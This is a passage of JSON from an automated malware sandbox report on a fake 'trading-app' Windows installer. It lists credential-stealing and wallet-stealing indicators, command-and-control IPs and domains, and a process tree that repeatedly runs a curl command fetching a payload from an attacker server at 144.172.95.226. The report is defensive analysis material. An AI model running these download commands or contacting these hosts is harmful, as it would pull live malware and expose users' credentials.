Traffic","mitre_attack_id":"T1573","relevance":10,"id":"network-53","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 77.37.74.86 on port 6168\n TCP traffic to 144.172.95.226 on port 1224","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"trading-app.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$63","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$64","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$65","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}]},"activity":{"stats":{"process_count":50,"spawned_processes_count":50,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":15,"imported_dlls_count":107,"dropped_files_count":0,"extracted_files_count":17,"files_written_count":190,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["credentialharvesting","targeted","invisibleferret","famouschollima","rat","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"682dca20a8bf6f7688083701","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","USA"],"submit_name":"trading-app-Windows-1.0.0.exe","analysis_start_time":"2025-05-21T12:42:21+00:00","indicators_count":{"informative":200,"suspicious":59,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"77.37.74.86","port":6168,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"address":"144.172.95.226","port":1224,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"address":"34.117.59.81","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"address":"104.18.38.10","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"dns_resolutions":[{"domain":"fashdefi.store","address":"77.37.74.86","ttl":14400,"country":"Germany","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"domain":"ipinfo.io","address":"34.117.59.81","ttl":9,"country":"United States","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"domain":"mksjwbqtddlpyzjqokyu.supabase.co","address":"104.18.38.10","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"http_requests":[{"host":"fashdefi.store:6168","host_ip":"77.37.74.86:6168","url":"/defy/v6","method":"POST","response_code":"500","response_phrase":"Internal Server Error","header":"POST /defy/v6 HTTP/1.1\nAccept: application/json, text/plain, */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: axios/1.9.0\nAccept-Encoding: gzip, compress, deflate, br\nHost: fashdefi.store:6168\nConnection: close\nContent-Length: 0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"host":"144.172.95.226:1224","host_ip":"144.172.95.226:1224","url":"/uploads","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /uploads HTTP/1.1\nhost: 144.172.95.226:1224\ncontent-type: multipart/form-data; boundary=--------------------------635886541481731920057384\ncontent-length: 120198\nConnection: close","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}],"processes":[{"pid":4416,"ppid":0,"name":"trading-app-Windows-1.0.0.exe","command_line":"","sha256":"b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800","normalized_path":"C:\\trading-app-Windows-1.0.0.exe","uid":"00000000-00004416","icon":"$66"},{"pid":6124,"ppid":4416,"name":"trading-app.exe","command_line":"","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00004416","uid":"00000000-00006124"},{"pid":1708,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00001708"},{"pid":6724,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00006724"},{"pid":7064,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1816 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00007064"},{"pid":3524,"ppid":7064,"name":"WerFault.exe","command_line":"-u -p 7064 -s 388","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00007064","uid":"00000000-00003524"},{"pid":4288,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --mojo-platform-channel-handle=3180 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00004288"},{"pid":2908,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --app-path=\"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources\\app.asar\" --enable-sandbox --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1747854885734705 --launch-time-ticks=1726833464 --mojo-platform-channel-handle=2328 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00002908"},{"pid":4392,"ppid":2908,"name":"WerFault.exe","command_line":"-u -p 2908 -s 404","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00002908","uid":"00000000-00004392"},{"pid":7736,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00007736"},{"pid":712,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00000712"},{"pid":2088,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=3284 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00002088"},{"pid":6736,"ppid":2088,"name":"WerFault.exe","command_line":"-u -p 2088 -s 396","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00002088","uid":"00000000-00006736"},{"pid":576,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00000576"},{"pid":6964,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2996 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00006964"},{"pid":5604,"ppid":6964,"name":"WerFault.exe","command_line":"-u -p 6964 -s 400","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00006964","uid":"00000000-00005604"},{"pid":4580,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00004580"},{"pid":1632,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00001632"},{"pid":4516,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00004516"},{"pid":5732,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2324 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00005732"},{"pid":7144,"ppid":5732,"name":"WerFault.exe","command_line":"-u -p 5732 -s 388","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00005732","uid":"00000000-00007144"},{"pid":7040,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00007040"},{"pid":1928,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00001928"},{"pid":4332,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=3036 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00004332"},{"pid":2084,"ppid":4332,"name":"WerFault.exe","command_line":"-u -p 4332 -s 392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00004332","uid":"00000000-00002084"},{"pid":7932,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00007932"},{"pid":3456,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2364 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00003456"},{"pid":7924,"ppid":3456,"name":"WerFault.exe","command_line":"-u -p 3456 -s 392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00003456","uid":"00000000-00007924"},{"pid":4292,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00004292"},{"pid":8132,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00008132"},{"pid":7720,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=3260 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00007720"},{"pid":7548,"ppid":7720,"name":"WerFault.exe","command_line":"-u -p 7720 -s 392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00007720","uid":"00000000-00007548"},{"pid":1468,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00001468"},{"pid":1392,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=3044 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00001392"},{"pid":7308,"ppid":1392,"name":"WerFault.exe","command_line":"-u -p 1392 -s 392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00001392","uid":"00000000-00007308"},{"pid":4784,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00004784"},{"pid":4300,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00004300"},{"pid":6880,"ppid":6124,"name":"cmd.exe","command_line":"/d /s /c \"curl -Lo \"%TEMP%\\p.zi\" \"http://144.172.95.226:1224/pdown\"\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006124","uid":"00000000-00006880"},{"pid":2752,"ppid":6124,"name":"trading-app.exe","command_line":"\"%APPDATA%\\trading-super-deriv\" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=2396 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2","sha256":"b1d32e95d261777b0fc727a317494de99d0604961869be3552b051a599500163","normalized_path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\trading-app.exe","parent_uid":"00000000-00006124","uid":"00000000-00002752"},{"pid":3892,"ppid":2752,"name":"WerFault.exe","command_line":"-u -p 2752 -s 392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00002752","uid":"00000000-00003892"},{"pid":6428,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 460 -p 7064 -ip 7064","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006428","icon":"$67"},{"pid":7028,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 556 -p 2908 -ip 2908","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007028","icon":"$68"},{"pid":2384,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 588 -p 2088 -ip 2088","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00002384","icon":"$69"},{"pid":7292,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 616 -p 6964 -ip 6964","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007292","icon":"$6a"},{"pid":6576,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 608 -p 5732 -ip 5732","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006576","icon":"$6b"},{"pid":2972,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 608 -p 4332 -ip 4332","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00002972","icon":"$6c"},{"pid":7776,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 672 -p 3456 -ip 3456","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00007776","icon":"$6d"},{"pid":4236,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 628 -p 7720 -ip 7720","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00004236","icon":"$6e"},{"pid":6828,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 636 -p 1392 -ip 1392","sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","uid":"00000000-00006828","icon":"$6f"},{"pid":8000,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 652 -p 2752 -ip 